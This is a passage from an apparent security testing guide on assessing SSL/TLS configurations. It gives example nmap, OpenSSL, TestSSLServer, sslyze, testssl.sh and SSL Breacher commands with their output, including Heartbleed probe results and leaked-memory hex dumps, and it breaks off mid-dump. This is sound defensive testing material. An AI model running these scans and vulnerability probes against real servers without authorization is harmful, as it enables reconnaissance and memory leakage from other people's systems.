OpenSSH 5.3 (protocol 2.0)\n25/tcp open smtp syn-ack Exim smtpd 4.80\n26/tcp open smtp syn-ack Exim smtpd 4.80\n80/tcp open http syn-ack\n110/tcp open pop3 syn-ack Dovecot pop3d\n143/tcp open imap syn-ack Dovecot imapd\n443/tcp open ssl/http syn-ack Apache\n465/tcp open ssl/smtp syn-ack Exim smtpd 4.80\n993/tcp open ssl/imap syn-ack Dovecot imapd\n995/tcp open ssl/pop3 syn-ack Dovecot pop3d\nService Info: Hosts: example.com\nService detection performed. Please report any incorrect results at http://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 131.38 seconds\n```\n\n#### Example 2. Checking for Certificate Information, Weak Ciphers and SSLv2 via Nmap\n\nNmap has two scripts for checking Certificate information, [Weak Ciphers and SSLv2](https://nmap.org/).\n\n```\n$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com\nStarting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST\nNmap scan report for www.example.com (127.0.0.1)\nHost is up (0.090s latency).\nrDNS record for 127.0.0.1: www.example.com\nPORT STATE SERVICE\n443/tcp open https\n| ssl-cert: Subject: commonName=www.example.org\n| Issuer: commonName=*******\n| Public Key type: rsa\n| Public Key bits: 1024\n| Not valid before: 2010-01-23T00:00:00+00:00\n| Not valid after: 2020-02-28T23:59:59+00:00\n| MD5: *******\n|_SHA-1: *******\n| ssl-enum-ciphers:\n| SSLv3:\n| ciphers:\n| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong\n| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong\n| TLS_RSA_WITH_RC4_128_SHA - strong\n| compressors:\n| NULL\n| TLSv1.0:\n| ciphers:\n| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong\n| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong\n| TLS_RSA_WITH_RC4_128_SHA - strong\n| compressors:\n| NULL\n|_ least strength: strong\n465/tcp open smtps\n| ssl-cert: Subject: commonName=*.exapmple.com\n| Issuer: commonName=*******\n| Public Key type: rsa\n| Public Key bits: 2048\n| Not valid before: 2010-01-23T00:00:00+00:00\n| Not valid after: 2020-02-28T23:59:59+00:00\n| MD5: *******\n|_SHA-1: *******\n| ssl-enum-ciphers:\n| SSLv3:\n| ciphers:\n| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong\n| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong\n| TLS_RSA_WITH_RC4_128_SHA - strong\n| compressors:\n| NULL\n| TLSv1.0:\n| ciphers:\n| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong\n| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong\n| TLS_RSA_WITH_RC4_128_SHA - strong\n| compressors:\n| NULL\n|_ least strength: strong\n993/tcp open imaps\n| ssl-cert: Subject: commonName=*.exapmple.com\n| Issuer: commonName=*******\n| Public Key type: rsa\n| Public Key bits: 2048\n| Not valid before: 2010-01-23T00:00:00+00:00\n| Not valid after: 2020-02-28T23:59:59+00:00\n| MD5: *******\n|_SHA-1: *******\n| ssl-enum-ciphers:\n| SSLv3:\n| ciphers:\n| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong\n| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong\n| TLS_RSA_WITH_RC4_128_SHA - strong\n| compressors:\n| NULL\n| TLSv1.0:\n| ciphers:\n| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong\n| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong\n| TLS_RSA_WITH_RC4_128_SHA - strong\n| compressors:\n| NULL\n|_ least strength: strong\n995/tcp open pop3s\n| ssl-cert: Subject: commonName=*.exapmple.com\n| Issuer: commonName=*******\n| Public Key type: rsa\n| Public Key bits: 2048\n| Not valid before: 2010-01-23T00:00:00+00:00\n| Not valid after: 2020-02-28T23:59:59+00:00\n| MD5: *******\n|_SHA-1: *******\n| ssl-enum-ciphers:\n| SSLv3:\n| ciphers:\n| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong\n| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong\n| TLS_RSA_WITH_RC4_128_SHA - strong\n| compressors:\n| NULL\n| TLSv1.0:\n| ciphers:\n| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong\n| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong\n| TLS_RSA_WITH_RC4_128_SHA - strong\n| compressors:\n| NULL\n|_ least strength: strong\nNmap done: 1 IP address (1 host up) scanned in 8.64 seconds\n```\n\n#### Example 3 Checking for Client-Initiated Renegotiation and Secure Renegotiation Via OpenSSL (Manually)\n\n[OpenSSL](https://www.openssl.org/) can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client `m` connecting to server with OpenSSL. The tester then writes the fist line of an HTTP request and types `R` in a new line. He then waits for renegotiation and completion of the HTTP request and checks if secure renegotiation is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for [CRIME](https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks), for ciphers and for other vulnerabilities.\n\n```\n$ openssl s_client -connect www2.example.com:443\nCONNECTED(00000003) depth=2 ******\nverify error:num=20:unable to get local issuer certificate\nverify return:0\n---\nCertificate chain\n 0 s:******\n i:******\n 1 s:******\n i:******\n 2 s:******\n i:****** ---\nServer certificate\n-----BEGIN CERTIFICATE-----\n****** -----END CERTIFICATE-----\nsubject=****** issuer=****** ---\nNo client certificate CA names sent\n---\nSSL handshake has read 3558 bytes and written 640 bytes\n---\nNew, TLSv1/SSLv3, Cipher is DES-CBC3-SHA\nServer public key is 2048 bit\nSecure Renegotiation IS NOT supported\nCompression: NONE\nExpansion: NONE\nSSL-Session:\n Protocol : TLSv1\n Cipher : DES-CBC3-SHA\n Session-ID: ******\n Session-ID-ctx:\n Master-Key: ******\n Key-Arg : None\n PSK identity: None\n PSK identity hint: None\n SRP username: None\n Start Time: ******\n Timeout : 300 (sec)\n Verify return code: 20 (unable to get local issuer certificate) --- \n```\n\nNow the tester can write the first line of an HTTP request and then R in a new line.\n\n```\nHEAD / HTTP/1.1\nR\n```\n\nServer is renegotiating\n\n```\nRENEGOTIATING\ndepth=2 C******\nverify error:num=20:unable to get local issuer certificate\nverify return:0\n```\n\nAnd the tester can complete our request, checking for response.\n\n```\nHEAD / HTTP/1.1\n\nHTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )\nConnection: close\nPragma: no-cache\nCache-Control: no-cache\nContent-Type: text/html\nContent-Length: 1792 \n\nread:errno=0\n```\n\nEven if the HEAD is not permitted, client-initiated renegotiation is permitted.\n\n#### Example 4. Testing Supported Cipher Suites, BEAST and CRIME Attacks via TestSSLServer\n\n[TestSSLServer](https://www.bolet.org/TestSSLServer/) is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a [crypto-analytical attack to RC4](https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what).\n\nAn online tool to check for these attacks is SSL Labs, but can be used only for Internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from [SSL Labs server](https://www.ssllabs.com/ssltest/index.html).\n\n```\n$ java -jar TestSSLServer.jar www3.example.com 443\nSupported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2\nDeflate compression: no\nSupported cipher suites (ORDER IS NOT SIGNIFICANT):\n SSLv3\n RSA_WITH_RC4_128_SHA\n RSA_WITH_3DES_EDE_CBC_SHA\n DHE_RSA_WITH_3DES_EDE_CBC_SHA\n RSA_WITH_AES_128_CBC_SHA\n DHE_RSA_WITH_AES_128_CBC_SHA\n RSA_WITH_AES_256_CBC_SHA\n DHE_RSA_WITH_AES_256_CBC_SHA\n RSA_WITH_CAMELLIA_128_CBC_SHA\n DHE_RSA_WITH_CAMELLIA_128_CBC_SHA\n RSA_WITH_CAMELLIA_256_CBC_SHA\n DHE_RSA_WITH_CAMELLIA_256_CBC_SHA\n TLS_RSA_WITH_SEED_CBC_SHA\n TLS_DHE_RSA_WITH_SEED_CBC_SHA\n (TLSv1.0: idem) (TLSv1.1: idem)\n TLSv1.2\n RSA_WITH_RC4_128_SHA\n RSA_WITH_3DES_EDE_CBC_SHA\n DHE_RSA_WITH_3DES_EDE_CBC_SHA\n RSA_WITH_AES_128_CBC_SHA\n DHE_RSA_WITH_AES_128_CBC_SHA\n RSA_WITH_AES_256_CBC_SHA\n DHE_RSA_WITH_AES_256_CBC_SHA\n RSA_WITH_AES_128_CBC_SHA256\n RSA_WITH_AES_256_CBC_SHA256\n RSA_WITH_CAMELLIA_128_CBC_SHA\n DHE_RSA_WITH_CAMELLIA_128_CBC_SHA\n DHE_RSA_WITH_AES_128_CBC_SHA256\n DHE_RSA_WITH_AES_256_CBC_SHA256\n RSA_WITH_CAMELLIA_256_CBC_SHA\n DHE_RSA_WITH_CAMELLIA_256_CBC_SHA\n TLS_RSA_WITH_SEED_CBC_SHA\n TLS_DHE_RSA_WITH_SEED_CBC_SHA\n TLS_RSA_WITH_AES_128_GCM_SHA256\n TLS_RSA_WITH_AES_256_GCM_SHA384\n TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\n TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\n----------------------\nServer certificate(s):\n ****** ----------------------\nMinimal encryption strength: strong encryption (96-bit or more)\nAchievable encryption strength: strong encryption (96-bit or more)\nBEAST status: vulnerable\nCRIME status: protected\n```\n\n#### Example 5. Testing SSL/TLS Vulnerabilities with sslyze\n\n[sslyze](https://github.com/nabla-c0d3/sslyze) is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.\n\n```\n$ ./sslyze.py --regular example.com:443\nREGISTERING AVAILABLE PLUGINS\n-----------------------------\n\nPluginHSTS\nPluginSessionRenegotiation\nPluginCertInfo\nPluginSessionResumption\nPluginOpenSSLCipherSuites\nPluginCompression\n\nCHECKING HOST(S) AVAILABILITY\n-----------------------------\n\nexample.com:443 => 127.0.0.1:443\n\nSCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443\n--------------------------------------------------- * Compression :\n Compression Support: Disabled\n\n* Session Renegotiation :\n Client-initiated Renegotiations: Rejected\n Secure Renegotiation: Supported\n\n* Certificate :\n Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate\n Hostname Validation: MISMATCH\n SHA1 Fingerprint: ******\n\n Common Name: www.example.com\n Issuer: ******\n Serial Number: ****\n Not Before: Sep 26 00:00:00 2010 GMT\n Not After: Sep 26 23:59:59 2020 GMT\n\n Signature Algorithm: sha1WithRSAEncryption\n Key Size: 1024 bit\n X509v3 Subject Alternative Name: {'othername': [''], 'DNS': ['www.example.com']}\n\n* OCSP Stapling :\n Server did not send back an OCSP response.\n\n* Session Resumption :\n With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).\n With TLS Session Tickets: Supported\n\n* SSLV2 Cipher Suites :\n\n Rejected Cipher Suite(s): Hidden\n\n Preferred Cipher Suite: None\n\n Accepted Cipher Suite(s): None\n\n Undefined - An unexpected error happened: None\n\n* SSLV3 Cipher Suites :\n\n Rejected Cipher Suite(s): Hidden\n\n Preferred Cipher Suite:\n RC4-SHA 128 bits HTTP 200 OK\n\n Accepted Cipher Suite(s):\n CAMELLIA256-SHA 256 bits HTTP 200 OK\n RC4-SHA 128 bits HTTP 200 OK\n CAMELLIA128-SHA 128 bits HTTP 200 OK\n\n Undefined - An unexpected error happened: None\n\n* TLSV1_1 Cipher Suites :\n\n Rejected Cipher Suite(s): Hidden\n\n Preferred Cipher Suite: None\n\n Accepted Cipher Suite(s): None\n\n Undefined - An unexpected error happened:\n ECDH-RSA-AES256-SHA socket.timeout - timed out\n ECDH-ECDSA-AES256-SHA socket.timeout - timed out\n\n* TLSV1_2 Cipher Suites :\n\n Rejected Cipher Suite(s): Hidden\n\n Preferred Cipher Suite: None\n\n Accepted Cipher Suite(s): None\n\n Undefined - An unexpected error happened:\n ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out\n ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out\n\n* TLSV1 Cipher Suites :\n\n Rejected Cipher Suite(s): Hidden\n\n Preferred Cipher Suite:\n RC4-SHA 128 bits Timeout on HTTP GET\n\n Accepted Cipher Suite(s):\n CAMELLIA256-SHA 256 bits HTTP 200 OK\n RC4-SHA 128 bits HTTP 200 OK\n CAMELLIA128-SHA 128 bits HTTP 200 OK\n\n Undefined - An unexpected error happened:\n ADH-CAMELLIA256-SHA socket.timeout - timed out\n\nSCAN COMPLETED IN 9.68 S\n------------------------\n```\n\n#### Example 6. Testing SSL/TLS with testssl.sh\n\n[Testssl.sh](https://github.com/drwetter/testssl.sh) is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well.\n\nIt’s a very easy to use tool. Here’s some sample output (without colors):\n\n```\n$ testssl.sh owasp.org\n########################################################\ntestssl.sh v2.0rc3 (https://testssl.sh) ($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)\n\n This program is free software. Redistribution +\n modification under GPLv2 is permitted.\n USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!\n\n Note you can only check the server against what is\n available (ciphers/protocols) locally on your machine\n########################################################\n\nUsing \"OpenSSL 1.0.2-beta1 24 Feb 2014\" on\n \"myhost://bin/openssl64\"\n\nTesting now (2014-04-17 15:06) ---> owasp.org:443 <--- (\"owasp.org\" resolves to \"192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e\") --> Testing Protocols\n\n SSLv2 NOT offered (ok)\n SSLv3 offered\n TLSv1 offered (ok)\n TLSv1.1 offered (ok)\n TLSv1.2 offered (ok)\n\n SPDY/NPN not offered\n\n--> Testing standard cipher lists\n\n Null Cipher NOT offered (ok)\n Anonymous NULL Cipher NOT offered (ok)\n Anonymous DH Cipher NOT offered (ok)\n 40 Bit encryption NOT offered (ok)\n 56 Bit encryption NOT offered (ok)\n Export Cipher (general) NOT offered (ok)\n Low (<=64 Bit) NOT offered (ok)\n DES Cipher NOT offered (ok)\n Triple DES Cipher offered\n Medium grade encryption offered\n High grade encryption offered (ok) --> Testing server defaults (Server Hello)\n\n Negotiated protocol TLSv1.2\n Negotiated cipher AES128-GCM-SHA256\n\n Server key size 2048 bit\n TLS server extensions: server name, renegotiation info, session ticket, heartbeat\n Session Tickets RFC 5077 300 seconds\n\n--> Testing specific vulnerabilities\n\n Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok)\n Renegotiation (CVE 2009-3555) NOT vulnerable (ok)\n CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) --> Checking RC4 Ciphers\n\nRC4 seems generally available. Now testing specific ciphers...\n\n Hexcode Cipher Name KeyExch. Encryption Bits\n-------------------------------------------------------------------- [0x05] RC4-SHA RSA RC4 128\n\nRC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a\n\n--> Testing HTTP Header response\n\n HSTS no\n Server Apache\n Application (None) --> Testing (Perfect) Forward Secrecy (P)FS)\n\nno PFS available\n\nDone now (2014-04-17 15:07) ---> owasp.org:443 <---\n\nuser@myhost: %\n```\n\nSTARTTLS would be tested via `testssl.sh -t smtp.gmail.com:587 smtp`, each ciphers with `testssl -e `, each ciphers per protocol with `testssl -E `. To just display what local ciphers that are installed for OpenSSL see `testssl -V`. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of `testssl.sh`.\n\nThe interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure `/bin/bash` with `/dev/tcp` sockets – no piggyback perl/python/you name it.\n\nAdditionally it provides a prototype (via `testssl.sh -V`) of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file `mapping-rfc.txt` in same directory.\n\n#### Example 7. Testing SSL/TLS with SSL Breacher\n\n[SSL Breacher](http://bl0g.yehg.net/2014/07/ssl-breacher-yet-another-ssl-test-tool.html) is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests. It supports the following checks:\n\n1. HeartBleed\n2. ChangeCipherSpec Injection\n3. BREACH\n4. BEAST\n5. Forward Secrecy support\n6. RC4 support\n7. CRIME & TIME (If CRIME is detected, TIME will also be reported)\n8. Lucky13\n9. HSTS: Check for implementation of HSTS header\n10. HSTS: Reasonable duration of MAX-AGE\n11. HSTS: Check for SubDomains support\n12. Certificate expiration\n13. Insufficient public key-length\n14. Host-name mismatch\n15. Weak/Insecure Hashing Algorithm (MD2, MD4, MD5, SHA1)\n16. SSLv2 support\n17. Weak ciphers check (Low, Anon, Null, Export)\n18. Null Prefix in certificate\n19. HTTPS Stripping\n20. Surf Jacking\n21. Non-SSL elements/contents embedded in SSL page\n22. Cache-Control\n\n```\n$ breacher.sh https://localhost/login.php\nHost Info:\n==============\nHost : localhost\nPort : 443\nPath : /login.php\n\nCertificate Info:\n==================\nType: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)\nExpiration Date: Sat Nov 09 07:48:47 SGT 2019\nSignature Hash Algorithm: SHA1withRSA\nPublic key: Sun RSA public key, 1024 bits\n modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517\n public exponent: 65537\nSigned for: CN=localhost\nSigned by: CN=localhost\nTotal certificate chain: 1\n\n(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.) =====================================\n\nCertificate Validation:\n=============================== [!] Signed using Insufficient public key length 1024 bits\n (Refer to http://www.keylength.com/ for details) [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.\n\n=====================================\n\nLoading module: Hut3 Cardiac Arrest ...\n\nChecking localhost:443 for Heartbleed bug (CVE-2014-0160) ...\n\n[-] Connecting to 127.0.0.1:443 using SSLv3\n[-] Sending ClientHello\n[-] ServerHello received\n[-] Sending Heartbeat\n[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3\n[-] Displaying response (lines consisting entirely of null bytes are removed):\n\n 0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....\n 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........\n 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........\n 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.\".\n 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.\n 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.\n 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.\n 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.\n 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.\n 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.\n 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............\n 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.\".#.$.%.&.'.\n 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.\n 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.\n 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.\n 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.\n 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.\n 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.\n 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\\.].^._.\n 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.\n 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.\n 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.\n 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...\n 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.\n 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............\n 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........\n 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....\n\n[-] Closing connection\n\n[-] Connecting to 127.0.0.1:443 using TLSv1.0\n[-] Sending ClientHello\n[-] ServerHello received\n[-] Sending Heartbeat\n[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0\n[-] Displaying response (lines consisting entirely of null bytes are removed):\n\n 0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....\n 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........\n 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........\n 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.\".\n 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.\n 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.\n 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.\n 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.\n 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.\n 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.\n 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............\n 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.\".#.$.%.&.'.\n 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.\n 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.\n 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.\n 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.\n 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.\n 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.\n 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\\.].^._.\n 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.\n 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.\n 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.\n 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...\n 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.\n 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............\n 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........\n 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....\n\n[-] Closing connection\n\n[-] Connecting to 127.0.0.1:443 using TLSv1.1\n[-] Sending ClientHello\n[-] ServerHello received\n[-] Sending Heartbeat\n[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1\n[-] Displaying response (lines consisting entirely of null bytes are removed):\n\n 0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....\n 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........\n 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........\n 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.\".\n 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.\n 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.\n 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.\n 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.\n 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.\n 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.\n 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............\n 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.\".#.$.%.&.'.\n 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.\n 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.\n 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.\n 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.\n 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.\n 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.\n 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\\.].^._.\n 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.\n 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.\n 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.\n 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...\n 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.\n 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............\n 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........\n 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....\n\n[-] Closing connection\n\n[-] Connecting to 127.0.0.1:443 using TLSv1.2\n[-] Sending ClientHello\n[-] ServerHello received\n[-] Sending Heartbeat\n[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2\n[-] Displaying response (lines consisting entirely of null bytes are removed):\n\n 0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....\n 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........\n 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........\n 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.\".\n 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.\n 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.\n 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.\n 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.\n 00b0: 43 00 44 00 45 